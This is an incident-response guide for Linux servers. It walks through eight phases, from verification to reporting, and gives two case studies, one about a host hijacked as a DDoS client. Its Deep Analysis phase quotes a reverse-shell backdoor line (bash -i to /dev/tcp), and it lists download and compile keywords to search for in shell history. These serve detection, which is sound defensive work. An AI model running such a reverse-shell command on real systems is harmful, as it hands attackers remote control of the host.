Effective Server Security Incident Response: Step‑by‑Step Guide

Overview

This article presents a practical, eight‑phase workflow for handling server security incidents without immediately disrupting business services. It combines the author’s five‑year experience in security incident response with concrete Linux commands, checklist items, and two real‑world case studies.

Incident Response Process (8 Phases)

Verification (Ops/Security)

Identify the source of the alert: external notifications (handled by security engineers) or internal anomalies detected by operations (e.g., abnormal traffic or high load).

On‑site Preservation (Ops)

Take screenshots of the environment, collect process, network, and login information using commands such as ps axu , netstat -a , lsof / netstat -p , and w / who -a .

Server Protection (Ops/Data‑Center)

Isolate the compromised host to prevent lateral movement. If immediate shutdown is impossible, block external connections with ACLs or firewall rules.

Impact Assessment (Ops/Dev)

Determine which services, databases, or files may have been exposed by reviewing logs, monitoring dashboards, and network topology (web servers, proxies, DBs, VLAN layout, inter‑host access).

Online Analysis (Security/Ops)

Perform rapid collaborative analysis while preserving the scene. Typical checks include:

History logs for suspicious keywords (wget, curl, gcc, hidden files, .c/.py/.sh, etc.)

Identify abnormal user accounts and privileged users via grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 {print $1}' Detect reverse shells with netstat -a and look for unexpected external IPs

Inspect suspicious processes with ps -aux and locate hidden scripts using which, whereis, find Check crontab entries without using crontab -l (attackers may hide backdoors)

Review SSH configuration and auth logs for brute‑force attempts

Verify integrity of HIDS tools (e.g., ls /etc/ossec, ps axu | grep nhids)

Critical File & Data Backup (Ops)

Archive logs, web access logs, user histories, crontab files, password files ( /etc/passwd , /etc/shadow ), and any suspicious binaries using commands such as: tar -jcvf syslog.tar.bz2 /var/log and copy relevant files to a secure backup server via sftp or rsync .

Deep Analysis (Security)

Investigate root causes, including webshell detection ( python webshell_check.py /var/www/ >result.txt ), malicious binaries, compromised binaries size differences (e.g., du -sh /bin/ps vs. normal), and backdoor commands in /etc/crontab (e.g., bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 ).

Reporting (Security)

Compile a comprehensive incident report covering cause analysis, attack timeline, remediation steps, gaps, and preventive recommendations.

Case Studies

Case 1 (External Report) : An attacker exploited an open port, obtained a reverse shell, replaced critical binaries, and left a hidden backdoor. The investigation used the steps above and referenced a public write‑up (http://www.freebuf.com/articles/system/50728.html).

Case 2 (Author’s Own Incident) : A private‑cloud host generated 800 Mbps outbound traffic. After confirming the host was a standby machine, ops blocked external access with iptables, security staff identified malicious processes ( /usr/bin/bsd-port/getty/usr/bin/acpid…/sbin/DDosClient), repaired replaced binaries (size comparison shown), deployed ClamAV and Rootkit Hunter, and finally rebuilt the machine. Impact assessment concluded no sensitive data loss.

Key Takeaways

Preserve the scene before making changes.

Collect comprehensive system information early.

Use binary size and checksum comparisons to detect tampering.

Isolate and contain the host while maintaining business continuity.

Document every step for future learning and compliance.